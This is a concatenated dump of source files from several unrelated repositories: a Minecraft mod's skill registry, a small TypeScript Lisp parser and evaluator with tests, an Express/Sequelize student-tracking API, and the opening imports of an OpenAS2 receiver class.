for (ItemStack ore : SkillRegistry.getOreBonusXP().keySet()) {
if (SkillRegistry.stackMatches(stack, ore)) {
SkillRegistry.addExperience(evt.getHarvester(), SkillRegistry.getOreBonusXP().get(ore));
break;
}
}
}
}
}
@Override
public int getSkillRow() {
return 0;
}
@Override
public int getSkillColumn() {
return 0;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.DIAMOND_PICKAXE);
}
@Override
public boolean isMaxLevel(int level) {
return true;
}
@Override
public int getMaxLevel() {
return 1;
}
}
<file_sep>/src/main/java/levelup2/skills/SkillRegistry.java
package levelup2.skills;
import levelup2.api.IPlayerSkill;
import levelup2.capability.PlayerCapability;
import levelup2.config.LevelUpConfig;
import levelup2.items.ItemOreChunk;
import levelup2.items.ItemRespecBook;
import levelup2.network.SkillPacketHandler;
import levelup2.player.IPlayerClass;
import levelup2.skills.combat.*;
import levelup2.skills.crafting.*;
import levelup2.skills.mining.*;
import levelup2.util.Library;
import levelup2.util.PlankCache;
import levelup2.util.SmeltingBlacklist;
import net.minecraft.block.Block;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.Item;
import net.minecraft.item.ItemBlock;
import net.minecraft.item.ItemStack;
import net.minecraft.item.crafting.*;
import net.minecraft.util.ResourceLocation;
import net.minecraftforge.common.IPlantable;
import net.minecraftforge.common.MinecraftForge;
import net.minecraftforge.fml.common.registry.GameRegistry;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.oredict.OreDictionary;
import net.minecraftforge.oredict.ShapedOreRecipe;
import net.minecraftforge.oredict.ShapelessOreRecipe;
import java.util.*;
public class SkillRegistry {
private static Map<ItemStack, Integer> oreBonusXP = new HashMap<>();
private static List<IPlayerSkill> skillRegistry = new ArrayList<>();
private static Map<String, IPlayerSkill> skillHashMap = new HashMap<>();
private static List<IPlantable> cropBlacklist = new ArrayList<>();
public static int smallestDisplayColumn = 0;
public static int smallestDisplayRow = 0;
public static int largestDisplayColumn = 0;
public static int largestDisplayRow = 0;
public static Item surfaceOreChunk = new ItemOreChunk(LevelUpConfig.oreList).setUnlocalizedName("levelup:surfaceore").setRegistryName(new ResourceLocation("levelup2", "surfaceore"));
public static Item netherOreChunk = new ItemOreChunk(LevelUpConfig.netherOreList).setUnlocalizedName("levelup:netherore").setRegistryName(new ResourceLocation("levelup2", "netherore"));
public static Item endOreChunk = new ItemOreChunk(LevelUpConfig.endOreList).setUnlocalizedName("levelup:endore").setRegistryName(new ResourceLocation("levelup2", "endore"));
public static Item respecBook = new ItemRespecBook().setUnlocalizedName("levelup:respec").setRegistryName(new ResourceLocation("levelup2", "respecbook"));
public static void initItems() {
GameRegistry.register(surfaceOreChunk);
GameRegistry.register(netherOreChunk);
GameRegistry.register(endOreChunk);
GameRegistry.register(respecBook);
}
public static void loadSkills() {
addSkill(new XPBonusCombat());
addSkill(new XPBonusCrafting());
addSkill(new XPBonusMining());
addSkill(new StoneSpeedBonus());
addSkill(new StoneMiningBonus());
addSkill(new WoodSpeedBonus());
addSkill(new WoodcuttingBonus());
addSkill(new FlintLootBonus());
addSkill(new DiggingTreasureBonus());
addSkill(new SwordCritBonus());
addSkill(new SwordDamageBonus());
addSkill(new DrawSpeedBonus());
addSkill(new ArrowSpeedBonus());
addSkill(new StealthBonus());
addSkill(new StealthDamage());
addSkill(new ShieldBlockBonus());
addSkill(new NaturalArmorBonus());
addSkill(new FoodGrowthBonus());
addSkill(new FoodHarvestBonus());
addSkill(new SprintSpeedBonus());
addSkill(new FallDamageBonus());
addSkill(new StealthSpeed());
addSkill(new FurnaceEfficiencyBonus());
addSkill(new FurnaceSmeltBonus());
addSkill(new BrewingEfficiencyBonus());
addSkill(new FishingLootBonus());
addCropsToBlacklist(LevelUpConfig.cropBlacklist);
Library.registerLootManager();
GameRegistry.addRecipe(new ShapelessOreRecipe(new ItemStack(Blocks.GRAVEL, 4), new ItemStack(Items.FLINT), new ItemStack(Items.FLINT), new ItemStack(Items.FLINT), new ItemStack(Items.FLINT)));
}
public static void postLoadSkills() {
for (IPlayerSkill skill : skillRegistry) {
if (skill.hasSubscription())
MinecraftForge.EVENT_BUS.register(skill);
int column = skill.getSkillColumn();
int row = skill.getSkillRow();
if (column > largestDisplayColumn) largestDisplayColumn = column;
else if (column < smallestDisplayColumn) smallestDisplayColumn = column;
if (row > largestDisplayRow) largestDisplayRow = row;
else if (row < smallestDisplayRow) smallestDisplayRow = row;
}
initPlankCache();
}
public static void registerRecipes() {
if (!isNullList(LevelUpConfig.oreList)) {
Library.registerOreToChunk(LevelUpConfig.oreList, surfaceOreChunk);
Library.addToOreList(LevelUpConfig.oreList);
registerSmelting(LevelUpConfig.oreList, surfaceOreChunk);
registerCrafting(LevelUpConfig.oreList, surfaceOreChunk);
Library.registerOres(LevelUpConfig.oreList);
if (LevelUpConfig.oreList.contains("oreRedstone"))
Library.getOreList().add(Blocks.LIT_REDSTONE_ORE);
}
if (!isNullList(LevelUpConfig.netherOreList)) {
Library.registerOreToChunk(LevelUpConfig.netherOreList, netherOreChunk);
Library.addToOreList(LevelUpConfig.netherOreList);
registerSmelting(LevelUpConfig.netherOreList, netherOreChunk);
registerCrafting(LevelUpConfig.netherOreList, netherOreChunk);
Library.registerOres(LevelUpConfig.netherOreList);
}
if (!isNullList(LevelUpConfig.endOreList)) {
Library.registerOreToChunk(LevelUpConfig.endOreList, endOreChunk);
Library.addToOreList(LevelUpConfig.endOreList);
registerSmelting(LevelUpConfig.endOreList, endOreChunk);
registerCrafting(LevelUpConfig.endOreList, endOreChunk);
Library.registerOres(LevelUpConfig.endOreList);
}
GameRegistry.addRecipe(new ShapedOreRecipe(new ItemStack(respecBook), " P ", "OBO", 'P', Items.DIAMOND_PICKAXE, 'O', "obsidian", 'B', Items.BOOK));
}
private static void registerSmelting(List<String> ores, Item item) {
for (int i = 0; i < ores.size(); i++) {
String names = ores.get(i);
if (OreDictionary.doesOreNameExist(names)) {
ItemStack ore = getOreEntry(names);
if (!ore.isEmpty()) {
if (!FurnaceRecipes.instance().getSmeltingResult(ore).isEmpty()) {
ItemStack result = FurnaceRecipes.instance().getSmeltingResult(ore);
FurnaceRecipes.instance().addSmeltingRecipe(new ItemStack(item, 1, i), result, FurnaceRecipes.instance().getSmeltingExperience(result));
}
}
}
}
SmeltingBlacklist.addItem(new ItemStack(Blocks.SPONGE, 1, 1));
}
private static void registerCrafting(List<String> ores, Item item) {
for (int i = 0; i < ores.size(); i++) {
String names = ores.get(i);
if (OreDictionary.doesOreNameExist(names)) {
ItemStack ore = getOreEntry(names);
if (!ore.isEmpty()) {
ItemStack chunk = new ItemStack(item, 1, i);
GameRegistry.addRecipe(new ShapelessOreRecipe(ore.copy(), chunk, chunk));
OreDictionary.registerOre(names, chunk);
}
}
}
}
private static boolean isNullList(List<String> list) {
return !list.isEmpty() && list.get(0).equals("null");
}
public static List<IPlayerSkill> getSkillRegistry() {
return skillRegistry;
}
public static IPlayerSkill getSkillFromName(String name) {
if (skillHashMap.containsKey(name)) {
return skillHashMap.get(name);
}
return null;
}
public static void addSkill(IPlayerSkill skill) {
skillRegistry.add(skill);
skillHashMap.put(skill.getSkillName(), skill);
}
public static int getSkillLevel(EntityPlayer player, String skill) {
return getPlayer(player).getSkillLevel(skill);
}
public static IPlayerClass getPlayer(EntityPlayer player) {
return player.getCapability(PlayerCapability.PLAYER_CLASS, null);
}
public static void addStackToOreBonus(ItemStack stack, int bonusXP) {
oreBonusXP.put(stack, bonusXP);
}
public static Map<ItemStack, Integer> getOreBonusXP() {
return oreBonusXP;
}
public static void addExperience(EntityPlayer player, int amount) {
player.addExperience(amount);
}
public static boolean stackMatches(ItemStack stack1, ItemStack stack2) {
if (stack1.isEmpty() || stack2.isEmpty())
return false;
else if (stack1.getItemDamage() == OreDictionary.WILDCARD_VALUE || stack2.getItemDamage() == OreDictionary.WILDCARD_VALUE)
return stack1.getItem() == stack2.getItem();
return stack1.isItemEqual(stack2);
}
public static boolean listContains(ItemStack stack, List<ItemStack> list) {
if (list.isEmpty()) return false;
for (ItemStack lStack : list) {
if (stackMatches(stack, lStack))
return true;
}
return false;
}
public static void increaseSkillLevel(EntityPlayer player, String skillName) {
IPlayerSkill skill = getPlayer(player).getSkillFromName(skillName);
int skillCost = skill.getLevelCost(getPlayer(player).getSkillLevel(skillName));
if (skillCost > 0) {
if (player.experienceLevel >= skillCost) {
player.experienceLevel -= skillCost;
getPlayer(player).addToSkill(skillName, 1);
}
}
}
public static void loadPlayer(EntityPlayer player) {
if (player instanceof EntityPlayerMP) {
byte spec = getPlayer(player).getSpecialization();
Map<String, Integer> skills = getPlayer(player).getSkills();
SkillPacketHandler.initChannel.sendTo(SkillPacketHandler.getPacket(Side.CLIENT, 0, spec, skills), (EntityPlayerMP)player);
}
}
public static void addCropsToBlacklist(List<String> blacklist) {
for (String str : blacklist) {
Block block = Block.REGISTRY.getObject(new ResourceLocation(str));
if (block != null) {
if (block instanceof IPlantable)
cropBlacklist.add((IPlantable)block);
}
}
}
public static List<IPlantable> getCropBlacklist() {
return cropBlacklist;
}
public static ItemStack getOreEntry(String ore) {
if (OreDictionary.doesOreNameExist(ore)) {
if (!OreDictionary.getOres(ore).isEmpty()) {
for (ItemStack stack : OreDictionary.getOres(ore)) {
if (stack.getItem() instanceof ItemBlock) {
if (!stack.hasTagCompound()) {
return new ItemStack(stack.getItem(), 1, stack.getMetadata());
}
}
}
}
}
return ItemStack.EMPTY;
}
private static void initPlankCache() {
for (ItemStack log : OreDictionary.getOres("logWood")) {
if (log.getItem() != null && log.getItem() instanceof ItemBlock) {
Block block = ((ItemBlock)log.getItem()).getBlock();
if (log.getItemDamage() == OreDictionary.WILDCARD_VALUE) {
for (int i = 0; i < 4; i++) {
ItemStack planks = getPlankOutput(new ItemStack(log.getItem(), 1, i));
if (!planks.isEmpty()) {
planks.setCount(2);
PlankCache.addBlock(block, i, planks);
}
}
}
else {
ItemStack planks = getPlankOutput(log);
if (!planks.isEmpty()) {
planks.setCount(2);
PlankCache.addBlock(block, log.getMetadata(), planks);
}
}
}
}
}
private static ItemStack getPlankOutput(ItemStack input) {
List<IRecipe> recipes = CraftingManager.getInstance().getRecipeList();
for (IRecipe recipe : recipes) {
if (recipe instanceof ShapedRecipes) {
ShapedRecipes shaped = (ShapedRecipes)recipe;
if (shaped.getRecipeSize() == 1) {
if (shaped.recipeItems[0].isItemEqual(input))
return shaped.getRecipeOutput().copy();
}
}
else if (recipe instanceof ShapedOreRecipe) {
ShapedOreRecipe shaped = (ShapedOreRecipe)recipe;
if (shaped.getRecipeSize() == 1) {
if (shaped.getInput()[0] instanceof ItemStack) {
ItemStack stack = (ItemStack)shaped.getInput()[0];
if (stack.isItemEqual(input))
return shaped.getRecipeOutput().copy();
}
}
}
else if (recipe instanceof ShapelessRecipes) {
ShapelessRecipes shapeless = (ShapelessRecipes)recipe;
if (shapeless.recipeItems.size() == 1 && shapeless.recipeItems.get(0).isItemEqual(input))
return shapeless.getRecipeOutput().copy();
}
else if (recipe instanceof ShapelessOreRecipe) {
ShapelessOreRecipe shapeless = (ShapelessOreRecipe)recipe;
if (shapeless.getRecipeSize() == 1) {
if (shapeless.getInput().get(0) instanceof ItemStack) {
if (((ItemStack)shapeless.getInput().get(0)).isItemEqual(input))
return shapeless.getRecipeOutput().copy();
}
}
}
}
return ItemStack.EMPTY;
}
}
<file_sep>/src/main/java/levelup2/capability/CapabilityBrewingStand.java
package levelup2.capability;
import levelup2.skills.SkillRegistry;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.tileentity.TileEntityBrewingStand;
public class CapabilityBrewingStand extends PlayerCapability.CapabilityProcessorDefault {
public CapabilityBrewingStand(TileEntityBrewingStand stand) {
super(stand);
}
@Override
public void extraProcessing(EntityPlayer player) {
if (tile instanceof TileEntityBrewingStand) {
TileEntityBrewingStand stand = (TileEntityBrewingStand)tile;
if (stand.getField(0) > 0) {
int bonus = SkillRegistry.getSkillLevel(player, "levelup:brewingspeed");
if (bonus > 0) {
int time = player.getRNG().nextInt(bonus + 1);
if (time > 0 && stand.getField(0) - time > 0)
stand.setField(0, stand.getField(0) - time);
}
}
}
}
}
<file_sep>/src/main/java/levelup2/skills/BaseSkill.java
package levelup2.skills;
import levelup2.api.IPlayerSkill;
public abstract class BaseSkill implements IPlayerSkill {
@Override
public boolean isMaxLevel(int level) {
return level == getMaxLevel();
}
}
| cbd5a67718c6255ce17fad71f0c2002cdd3b917a | [
"Java"
] | 20 | Java | MrMasochism/LevelUp2 | 2d6f19b3e2a6bcfd7d8ee1cad8dc5ee0a296751d | 1bcfcb3c2b1e3b8fd9f9d38b0ecaec0af47e6913 |
refs/heads/master | <file_sep>import { parse } from "./parser";
import {
program,
decconst,
strconst,
identifier,
list,
AstNode
} from "./helpers";
let testExpression = (title: string, str: string, expected: AstNode) =>
test(title, () => {
expect(parse(str)).toEqual(expected);
});
testExpression(
"it is able to parse simple number expressions",
"1234",
program([decconst(1234)])
);
testExpression(
"it is able to parse simple text expressions",
`"abcd"`,
program([strconst("abcd")])
);
describe("statements", () => {
testExpression(
"a simple expression with no body",
"(a)",
program([list([identifier("a")])])
);
testExpression(
"a simple one after something else",
"(a) 1",
program([list([identifier("a")]), decconst(1)])
);
testExpression(
"with a body",
"(a b c)",
program([list([identifier("a"), identifier("b"), identifier("c")])])
);
testExpression(
"intermixed with strings and numbers",
'(a "b" 123)',
program([list([identifier("a"), strconst("b"), decconst(123)])])
);
testExpression(
"nesting",
"(cons (cons (cons a b)))",
program([
list([
identifier("cons"),
list([
identifier("cons"),
list([identifier("cons"), identifier("a"), identifier("b")])
])
])
])
);
testExpression(
"bodied program",
`
(defun add-two (a)
(add a 2)
(add b 3))
`,
program([
list([
identifier("defun"),
identifier("add-two"),
list([identifier("a")]),
list([identifier("add"), identifier("a"), decconst(2)]),
list([identifier("add"), identifier("b"), decconst(3)])
])
])
);
testExpression(
"a simple program?",
`
(defun add-one (a) (add a 1))
(add-one 2)
`,
program([
list([
identifier("defun"),
identifier("add-one"),
list([identifier("a")]),
list([identifier("add"), identifier("a"), decconst(1)])
]),
list([identifier("add-one"), decconst(2)])
])
);
});
describe("parsing identifiers", () => {
testExpression("id w/ symbols", "!debug!", program([identifier("!debug!")]));
testExpression("simple id", "a", program([identifier("a")]));
testExpression("multiple characters", "aaa", program([identifier("aaa")]));
testExpression(
"with numbers intermixed",
"aa11aa",
program([identifier("aa11aa")])
);
testExpression("with spaces in it", " aabb ", program([identifier("aabb")]));
testExpression(
"multiple identifiers",
" aa bb cc",
program([identifier("aa"), identifier("bb"), identifier("cc")])
);
});
<file_sep>import {
program,
decconst,
strconst,
identifier,
list,
IdentifierNode,
AstNode,
DecConstNode,
StringConstNode
} from "./helpers";
// Holds all the state of our recursive-descent parser
export class Lexer {
index: number;
constructor(private tokens: string) {
this.index = 0;
}
next() {
this.index++;
return this.peek();
}
peek() {
let result = this.tokens[this.index];
return result;
}
}
/**
* The I-combinator. Returns it's first arg
* @param args
*/
function I<T>(val: T): T {
return val;
}
/**
* Casts it's operand to boolean
*/
function bool<T>(val: T): boolean {
return Boolean(val);
}
type TransformFunction<T> = (s: string, l: Lexer) => T;
function collectWhile<T = string>(
lexer: Lexer,
allowed: (s: string, l: Lexer) => boolean = bool,
transform: TransformFunction<T>
) {
let result = [];
let next = lexer.peek();
do {
result.push(transform(next, lexer));
if (!allowed(lexer.peek(), lexer)) {
break;
}
next = lexer.next();
} while (next && allowed(next, lexer));
return result;
}
function isDigit(str: string): boolean {
return /[0-9]/.test(str);
}
export function parse_string(lexer: Lexer): StringConstNode {
lexer.next(); // Past "
return strconst(collectWhile(lexer, val => val !== '"', I).join(""));
}
/**
* @param {Lexer} lexer
*/
export function parse_number(lexer: Lexer): DecConstNode {
return decconst(Number(collectWhile(lexer, isDigit, I).join("")));
}
function isIdentifierAllowed(char: string): boolean {
return /([A-Z]|[a-z]|[0-9]|!|\-)/.test(char);
}
/**
* @param {Lexer} lexer
*/
export function parse_identifier(lexer: Lexer): IdentifierNode {
return identifier(collectWhile(lexer, isIdentifierAllowed, I).join(""));
}
/**
* @param {Lexer} lexer
*/
export function parse_expression(lexer: Lexer): AstNode | null {
let char = lexer.peek();
if (isDigit(char)) {
return parse_number(lexer);
} else if (char === '"') {
return parse_string(lexer);
} else if (char === "(") {
lexer.next(); // past the (
let body = collectWhile<AstNode | null>(
lexer,
val => val !== ")",
(val: string, lexer: Lexer): AstNode | null => parse_expression(lexer)
);
lexer.next(); // past the )
return list(body.filter(bool) as AstNode[]);
} else if (isIdentifierAllowed(char)) {
return parse_identifier(lexer);
} else if (isIdentifierAllowed(char)) {
return parse_identifier(lexer);
} else {
return null;
}
}
export function parse(str: string) {
let lexer = new Lexer(str);
let nodes = collectWhile<AstNode | null>(lexer, bool, (val, lexer) =>
parse_expression(lexer)
);
return program(nodes.filter(bool) as AstNode[]);
}
<file_sep>import { parse } from "./parser";
import { evaluate, ContextListNode } from "./eval";
const testEval = (code: string, result: any) =>
test(code, () => {
expect(evaluate(parse(code)).value).toEqual(result);
});
testEval(` 1 `, 1);
testEval(` 1 2 `, 2);
testEval(` "a" `, "a");
testEval(`(add 1 2)`, 3);
testEval(`(add 1 (add 1 1))`, 3);
describe("defining functions", () => {
testEval(
`
(defun add-one (a)
(add 1 a))
(add-one 3)
`,
4
);
testEval(
`
(defun add-proxy (a b)
(add a b))
(add-proxy 4 5)
`,
9
);
testEval(
`
(defun add-proxy (a b)
(add a b))
(defun add-one (a)
(add-proxy a 1))
(add-one 3)
`,
4
);
testEval(
`
(defun add-proxy (a b)
(add a b))
(defun add-one (a)
(add-proxy a 1))
(defun add-two (a)
(add-one (add-one a)))
(add-two 2)
`,
4
);
testEval(
`
(defun dumb-add (a b)
(define a-other (add a 3))
(define b-other (add b 5))
(add a-other b-other)
)
(dumb-add 4 10)
`,
22
);
});
let qeval = (code: string, ctx: ContextListNode) => evaluate(parse(code), ctx);
test("define", () => {
let { context } = evaluate(
parse(
`
(define a "a")
(define b "b")
(define c a)
(define a "new")
`
)
);
expect(qeval(`a`, context).value).toBe("new");
expect(qeval(`c`, context).value).toBe("a");
expect(qeval(`b`, context).value).toBe("b");
});
describe("lambda expressions", () => {
testEval(
`
(define add-proxy (lambda (a b)
(add a b)))
(define a 5)
(add-proxy a a)
`,
10
);
testEval(
`
((lambda (a) (add a 1)) 3)
`,
4
);
testEval(`((lambda ()))`, null);
});
<file_sep># Scheme-js
A really, really simple lisp written in JS. I wrote this because I wanted to write something "real" with the knowledge
gained from my class on parsers
<file_sep>export type AstNode =
| ProgramNode
| IdentifierNode
| ListNode
| DecConstNode
| StringConstNode;
export interface ProgramNode {
type: "PROGRAM";
expressions: AstNode[];
}
export let program = (children: AstNode[]): ProgramNode => ({
type: "PROGRAM",
expressions: children
});
export interface IdentifierNode {
type: "IDENTIFIER";
text: string;
}
export let identifier = (text: string): IdentifierNode => ({
type: "IDENTIFIER",
text
});
export interface ListNode {
type: "LIST";
elements: Array<AstNode>;
}
export let list = (elements: Array<AstNode>): ListNode => ({
type: "LIST",
elements
});
export interface StringConstNode {
type: "STRCONST";
text: string;
}
export let strconst = (text: string): StringConstNode => ({
type: "STRCONST",
text
});
export interface DecConstNode {
type: "DECCONST";
value: number;
}
export let decconst = (literal: number): DecConstNode => ({
type: "DECCONST",
value: literal
});
<file_sep>import {
list,
AstNode as BaseAstNode,
ListNode,
IdentifierNode
} from "./helpers";
export interface FunctionNode {
type: "FUNCTION";
args: ListNode;
body: BaseAstNode[];
}
export let func = (args: ListNode, body: BaseAstNode[]): FunctionNode => ({
type: "FUNCTION",
args,
body
});
interface ContextReturn<T> {
context: ContextListNode;
value: T;
}
interface BuiltinNode {
type: "BUILTIN";
value: (ast: ListNode, context: ContextListNode) => ContextReturn<any>;
}
type CallableNode = BuiltinNode | FunctionNode;
type AstNode = BaseAstNode | CallableNode;
type EvaluateResult = string | number | IdentifierNode | CallableNode | null;
type ContextListNodeValue = AstNode | string | number | null;
export class ContextListNode {
constructor(
private values: Map<string, ContextListNodeValue>,
private next: ContextListNode | null = null
) {}
static from(
hash: { [x: string]: ContextListNodeValue },
next?: ContextListNode
) {
return new ContextListNode(new Map(Object.entries(hash)), next);
}
append(values: { [x: string]: ContextListNodeValue }) {
return ContextListNode.from(values, this);
}
lookup(key: string): AstNode | string | number {
if (this.values.has(key)) {
return this.values.get(key) as AstNode;
}
if (this.next) {
return this.next.lookup(key);
}
throw new Error("Could not find identifier " + key);
}
flattened() {
if (this.next === null) {
let entries: { [x: string]: ContextListNodeValue } = {};
for (let [key, value] of this.values.entries()) {
entries[key] = value;
}
return entries;
}
let entries: { [x: string]: ContextListNodeValue } = this.next.flattened();
for (let [key, value] of this.values.entries()) {
entries[key] = value;
}
return entries;
}
}
const BASE_CONTEXT: ContextListNode = ContextListNode.from({
"!log!": {
type: "BUILTIN",
value: (ast, context) => {
console.log(evaluate(ast, context));
return {
context,
value: null
};
}
},
"!debug!": {
type: "BUILTIN",
value: (ast, context) => {
console.log(context.flattened());
return { context, value: null };
}
},
add: {
type: "BUILTIN",
value: (ast, context) => {
return {
context,
value: ast.elements.reduce((prev, curr) => {
return prev + (evaluate(curr, context).value as number);
}, 0)
};
}
},
lambda: {
type: "BUILTIN",
value: (ast, context) => {
let [args, ...body] = ast.elements as Array<ListNode>;
let f = func(args, body);
return { context, value: f };
}
},
define: {
type: "BUILTIN",
value: (ast, context) => {
if (ast.elements[0].type !== "IDENTIFIER") {
throw new Error("Argument to define must be an identifier");
}
let varName = (ast.elements[0] as IdentifierNode).text;
let value = evaluate(ast.elements[1], context).value;
let newContext = context.append({
[varName]: value
});
return { context: newContext, value };
}
},
defun: {
type: "BUILTIN",
value: (ast, context) => {
let [funcName, args, ...body] = ast.elements;
if (funcName.type !== "IDENTIFIER") {
throw new Error("First argument to defun must be an identifier");
}
if (args.type !== "LIST") {
throw new Error("2nd argument to list must be a list");
}
let f = func(args, body);
let ctx = context.append({
[(funcName as IdentifierNode).text]: f
});
return { context: ctx, value: f };
}
}
});
function evaluateBody(
elements: BaseAstNode[],
context: ContextListNode
): ContextReturn<EvaluateResult> {
let result: ContextReturn<EvaluateResult> = {
context,
value: null
};
for (let element of elements) {
result = evaluate(element, result.context);
}
return result;
}
function listToArray(
ast: ListNode,
context: ContextListNode
): ContextReturn<ContextListNodeValue[]> {
let results = [];
for (let element of ast.elements) {
let result = evaluate(element, context);
context = result.context;
results.push(result.value);
}
return {
context,
value: results
};
}
function funcall(
func: CallableNode,
args: ListNode,
context: ContextListNode
): ContextReturn<EvaluateResult> {
switch (func.type) {
case "BUILTIN":
return func.value(args, context);
case "FUNCTION": {
/**
* We set up a new context with the values of the args replaced with
* the values we have passed in via args. We don't return this because
* that would pollute the parent's context table.
*/
let { context: newContext, value: argValues } = listToArray(
args,
context
) as { context: ContextListNode; value: IdentifierNode[] };
let map: Map<string, IdentifierNode> = new Map();
argValues.forEach((val, i) => {
map.set((func.args.elements[i] as IdentifierNode).text, val);
});
newContext = new ContextListNode(map, newContext);
return {
context,
value: evaluateBody(func.body, newContext).value
};
}
}
}
export function evaluate(
ast: BaseAstNode,
context = BASE_CONTEXT
): ContextReturn<EvaluateResult> {
switch (ast.type) {
case "LIST": {
// Perform the lookup. We evaluate in case the head of the list is a lambda expression
let functionName = evaluate(ast.elements[0], context)
.value as CallableNode;
let rest = list(ast.elements.slice(1));
return funcall(functionName, rest, context);
}
case "IDENTIFIER":
return {
context,
value: context.lookup(ast.text) as string | number
};
case "PROGRAM":
return evaluateBody(ast.expressions, context);
case "STRCONST":
return {
context,
value: ast.text
};
case "DECCONST":
return {
context,
value: ast.value
};
}
}
| 135899f537a093b3e5c41e8cb858cb000b55d797 | [
"Markdown",
"TypeScript"
] | 6 | TypeScript | NLincoln/scheme | c398ac1773d42aaad8dd95f9a884fb88fcfe6caa | f9f926c5b7673c6914521a40b75f43414d4cf696 |
refs/heads/master | <file_sep>// Dependencies
// =============================================================
// Require the sequelize library
var Sequelize = require("sequelize");
// Require the connection to the database (connection.js)
var sequelize = require("../config/connection.js");
var Student = sequelize.define('student', {
student_id: {
type: Sequelize.INTEGER
},
first_name: {
type: Sequelize.STRING
},
last_name: {
type: Sequelize.STRING
},
status: {
type: Sequelize.STRING
},
location: {
type: Sequelize.STRING
},
parent_first_name: {
type: Sequelize.STRING
},
parent_last_name: {
type: Sequelize.STRING
},
parent_contact_method: {
type: Sequelize.STRING
},
parent_contact_info: {
type: Sequelize.STRING
},
}, {
timestamps: false
});
// Sync model with DB
Student.sync();
// Export the book model for other files to use
module.exports = Student;<file_sep>var path = require("path");
module.exports = function(app) {
app.get("/", function(req, res) {
res.sendFile(path.join(__dirname, "../public/index.html"));
});
app.get("/form", function(req, res) {
res.sendFile(path.join(__dirname, "../public/form.html"));
});
app.get("/complete", function(req, res) {
res.sendFile(path.join(__dirname, "../public/complete.html"));
});
app.get("/login", function(req, res) {
res.sendFile(path.join(__dirname, "../public/login.html"));
});
};<file_sep>import 'dotenv/config';
import cors from 'cors';
import express from 'express';
const app = express();
app.use(cors());
app.use(express.json());
const { Model } = require("sequelize");
var Student = require("../models/student.js");
app.get('/students', (req, res) => {
Student.findAll({}).then(function(results){
res.json(results);
})
});
app.get('/students/:studentId', (req, res) => {
console.log(req.params)
Student.findAll({
where: {
student_id: req.params.studentId
}
}).then(function(results){
res.json(results);
});
});
app.post('/newstudent', (req, res) => {
console.log("New Student Object: " + req.body)
const madeStudent = req.body;
const createdStudent = Student.create({
student_id: madeStudent.student_id,
first_name: madeStudent.first_name,
last_name: madeStudent.last_name,
parent_first_name: madeStudent.parent_first_name,
parent_last_name: madeStudent.parent_last_name,
parent_contact_method: madeStudent.parent_contact_method,
parent_contact_info: madeStudent.parent_contact_info,
status: "SAFE",
location: null
});
res.send("Student added")
});
app.post('/updatestudent/:studentId', async (req, res) => {
const updatedInfo = req.body;
const studentToUpdate = await Student.findOne({
where: {
student_id: req.params.studentId
}
});
studentToUpdate.status = updatedInfo.status;
studentToUpdate.location = updatedInfo.location;
studentToUpdate.save();
res.send("Student updated")
});
app.listen(process.env.PORT, () =>
console.log(`Example app listening on port ${process.env.PORT}!`),
);<file_sep>app.get("/api/student/name", function(req, res) {
debugger;
Student.findOne({
where: {
student_id: req.params.student
}
}).then(function(results){
res.json(results);
});
}); | 030300f1300237278192c442693e34ace299a85d | [
"JavaScript"
] | 4 | JavaScript | breecobb715/salvus_backend | 313e6c7f3aa41474b89f3f26e1bb6b604fee4285 | a985ebfc6a5a559ff04418fb74f46778ca85b2c2 |
refs/heads/main | <repo_name>im1sha/hapijs-experimental<file_sep>/app.js
'use strict';
const hapi = require('@hapi/hapi');
const path = require('path');
const mongoose = require('mongoose');
// use MongoDb: database 'hapidb'
// collection 'tasks'
mongoose.connect('mongodb://localhost/hapidb', {
useNewUrlParser: true,
useUnifiedTopology: true
})
.then(() => console.log('MongoDb connected'))
.catch(err => console.log(err));
// define task's model and it's schema
const mongoTask = mongoose.model('Task', { text: String });
const init = async () => {
const server = hapi.server({
port: 8000,
host: 'localhost',
routes: {
files: {
relativeTo: path.join(__dirname, 'public')
}
}
});
// modules to handle templates
const handlebars = require('handlebars');
const { allowInsecurePrototypeAccess } = require('@handlebars/allow-prototype-access');
// process static content
await server.register(require('@hapi/inert'));
// support for creating templated responses
await server.register(require('@hapi/vision'));
server.views({
engines: {
html: allowInsecurePrototypeAccess(handlebars)
},
relativeTo: __dirname,
path: 'views'
});
// test routing for static files
server.route({
method: 'GET',
path: '/about',
handler: function (request, h) {
return h.file('./about.html');
}
});
// test parameters parsing
server.route({
method: 'GET',
path: '/user/{name}',
handler: (request, h) => {
return 'Hello, ' + request.params.name;
}
});
// get all tasks from db and return to view
server.route({
method: 'GET',
path: '/tasks',
handler: async (request, h) => {
let result;
await mongoTask.find((error, tasks) => {
result = tasks;
});
return h.view('tasks', {
tasks: result
});
}
});
// save new task to db
server.route({
method: 'POST',
path: '/tasks',
handler: async (request, h) => {
let text = request.payload.text;
let newTask = new mongoTask({ text: text });
newTask.save((err, task) => { });
return h.redirect().location('tasks');
}
});
server.route({
method: 'GET',
path: '/',
handler: (request, h) => {
return h.view('index', {
name: 'hapiapp'
});
}
});
await server.start();
console.log('Server running on %s', server.info.uri);
};
process.on('unhandledRejection', (err) => {
console.log(err);
process.exit(1);
});
init();
<file_sep>/README.md
# hapijs-experimental
@hapi/hapi, MongoDB experimental project
| bc7f987e70a1e49e613700475870cc910450b91b | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | im1sha/hapijs-experimental | 7764d2443d3e5328374a49e3154a08b045a05c86 | 0e50814ea04fc07812cbd42a73618b3d9401afe4 |
refs/heads/master | <repo_name>gastonprieto/openas2-server<file_sep>/server/src/main/java/org/openas2/processor/receiver/AS2ReceiverHandler.java
package org.openas2.processor.receiver;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.security.PrivateKey;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import javax.activation.DataHandler;
import javax.mail.MessagingException;
import javax.mail.internet.ContentType;
import javax.mail.internet.MimeBodyPart;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.bouncycastle.cms.CMSException;
import org.bouncycastle.mail.smime.SMIMEUtil;
import org.openas2.DispositionException;
import org.openas2.OpenAS2Exception;
import org.openas2.WrappedException;
import org.openas2.cert.CertificateFactory;
import org.openas2.lib.helper.ICryptoHelper;
import org.openas2.message.AS2Message;
import org.openas2.message.Message;
